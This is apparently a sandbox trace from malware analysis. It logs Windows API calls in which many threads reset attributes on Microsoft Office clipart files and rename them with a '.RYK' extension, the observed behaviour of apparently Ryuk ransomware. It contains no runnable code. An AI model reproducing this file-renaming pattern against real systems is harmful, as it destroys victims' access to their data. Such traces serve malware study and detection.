	[0192.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF", dwFileAttributes=0x80) returned 0
	[0192.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.838] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.839] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1269
	os_tid = 0x1978

	[0192.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF", dwFileAttributes=0x80) returned 0
	[0192.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.688] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.688] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1270
	os_tid = 0x197c

	[0192.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF", dwFileAttributes=0x80) returned 0
	[0192.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.692] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.692] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1271
	os_tid = 0x1980

	[0192.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF", dwFileAttributes=0x80) returned 0
	[0192.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.694] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.694] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1272
	os_tid = 0x1984

	[0192.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF", dwFileAttributes=0x80) returned 0
	[0193.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.358] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.358] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1288
	os_tid = 0x19cc

	[0192.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF", dwFileAttributes=0x80) returned 0
	[0193.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.360] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.360] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1289
	os_tid = 0x19d0

	[0192.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF", dwFileAttributes=0x80) returned 0
	[0193.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.363] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.363] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1290
	os_tid = 0x19d4

	[0192.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF", dwFileAttributes=0x80) returned 0
	[0193.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.367] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.367] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1291
	os_tid = 0x19d8

	[0192.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF", dwFileAttributes=0x80) returned 0
	[0193.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.369] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.369] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1292
	os_tid = 0x19dc

	[0192.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF", dwFileAttributes=0x80) returned 0
	[0193.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.371] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.372] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1293
	os_tid = 0x19e0

	[0192.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF", dwFileAttributes=0x80) returned 0
	[0193.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.373] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.374] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1294
	os_tid = 0x19e4

	[0192.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID", dwFileAttributes=0x80) returned 0
	[0192.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.857] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.857] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1295
	os_tid = 0x19e8

	[0192.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF", dwFileAttributes=0x80) returned 0
	[0193.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.376] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.376] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1296
	os_tid = 0x19ec

	[0192.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF", dwFileAttributes=0x80) returned 0
	[0192.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0192.860] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0192.860] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1297
	os_tid = 0x19f0

	[0193.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF", dwFileAttributes=0x80) returned 0
	[0193.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.378] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1316
	os_tid = 0x1a38

	[0193.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF", dwFileAttributes=0x80) returned 0
	[0193.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.380] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.380] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1317
	os_tid = 0x1a3c

	[0193.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF", dwFileAttributes=0x80) returned 0
	[0193.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.624] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.624] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1318
	os_tid = 0x1a40

	[0193.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF", dwFileAttributes=0x80) returned 0
	[0193.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.385] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.385] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1319
	os_tid = 0x1a44

	[0193.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF", dwFileAttributes=0x80) returned 0
	[0193.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.628] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.628] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1320
	os_tid = 0x1a48

	[0193.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF", dwFileAttributes=0x80) returned 0
	[0193.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.389] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.389] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1321
	os_tid = 0x1a4c

	[0193.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF", dwFileAttributes=0x80) returned 0
	[0193.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.631] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.631] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1322
	os_tid = 0x1a50

	[0193.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF", dwFileAttributes=0x80) returned 0
	[0193.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.633] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.633] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1323
	os_tid = 0x1a54

	[0193.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF", dwFileAttributes=0x80) returned 0
	[0193.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.395] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.396] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1324
	os_tid = 0x1a58

	[0193.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF", dwFileAttributes=0x80) returned 0
	[0193.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.635] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1325
	os_tid = 0x1a5c

	[0193.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF", dwFileAttributes=0x80) returned 0
	[0193.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.637] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0193.637] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1340
	os_tid = 0x1a98

	[0193.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF", dwFileAttributes=0x80) returned 0
	[0193.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0193.640] CloseHandle (hObject=0xffffffffffffffff) returned 0
